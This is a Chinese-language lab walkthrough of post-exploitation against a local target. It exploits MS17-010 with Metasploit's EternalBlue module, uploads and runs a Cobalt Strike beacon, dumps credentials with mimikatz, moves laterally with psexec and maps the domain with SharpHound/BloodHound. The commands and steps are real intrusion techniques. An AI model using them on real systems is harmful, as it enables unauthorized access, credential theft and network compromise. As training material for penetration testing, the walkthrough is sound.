实验操作均在本地靶机内操作,据网络安全法,作者不对因阅读、理解、误用或滥用本文内容而导致的任何直接、间接、附带或后果性损害承担责任。
1、上传CS马到服务器运行
根据信息搜集到的服务器信息,或者是文件上传漏洞上传webshell,获取shell以后把CS马上传到目标服务器,这里我使用Nessus扫描靶场服务器的IP:

有很多漏洞,我们就针对MS17-010,用MSF先获取shell:
search MS17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.49.140
run
得到meterpreter后将CS生成的载荷上传到服务器上,并执行:
upload /root/Desktop/artifact_x64.exe C:\\Windows\\Temp\\artifact_x64.exe
shell
cd C:\Windows\Temp\
./artifact_x64.exe
这时候服务器就在CS客户端上线了:

2、CS的一些简单使用
2.1 网络探测
右键对应主机,找到浏览探测>网络探测,就能探测内网环境下存活的主机了,打开目标列表视图能详细查看:

2.2 端口扫描
右键对应主机,找到浏览探测>端口扫描,能扫描内网环境下对外开放的端口:

2.3 提权
右键对应主机,选择合适的提权项(我用MS17-010上传CS马运行后直接就是system权限了),提权成功后会新增一个system权限的会话。
2.4 密码凭证获取
使用CS中集成的mimikatz来进行密码的获取,右键主机选择凭证提权>抓取明文密码,在权限足够的情况下可直接获取用户凭据信息(域账号密码以及哈希值),打开密码凭证视图查看:

2.5 横向移动
在目标列表(Targets)窗口,右键想要移动到的主机,选择横向移动>psexec,我们可以根据已经获取的密码去登录其他主机,运气好的话可以直接使用当前的账号密码移动到其他主机上,从而扩大渗透的战果。

3、内网环境探测
除了使用CS插件去收集各种内网环境信息之外,还需要知道内网环境下的网络结构信息:也就是目标内网下的网络架构。这里需要使用 BloodHound(猎犬),通过BloodHound工具可以看到内网环境下当前主机与域控之间的通信情况,并根据当前主机所处的域内环境给出合理的渗透方案和渗透路线。
3.1 BloodHound探测
将 BloodHound 通过CS上传到目标主机(右击主机浏览探测>文件浏览页面),工具路径在压缩包的BloodHound-win32-x64\resources\app\Collectors\SharpHound.exe:

再在会话窗口的 BloodHound 文件路径下输入命令行执行:
SharpHound.exe -c all

在文件浏览页面下载生成的压缩文件:

然后在
视图>下载列表里选中该文件,可以把文件同步到本地:
3.2 本地Neo4j服务
在neo4j-community-3.5.9\bin路径下cmd运行(注意要jdk8环境):
neo4j.bat console
然后访问给的端口:http://localhost:7474/ 并登录:

3.3 本地BloodHound.exe
双击BloodHound-win32-x64\BloodHound.exe启动,输入Neo4j一样的账号密码,登录之后上传探测时下载的压缩包:

分析完毕就可以查看结果了:
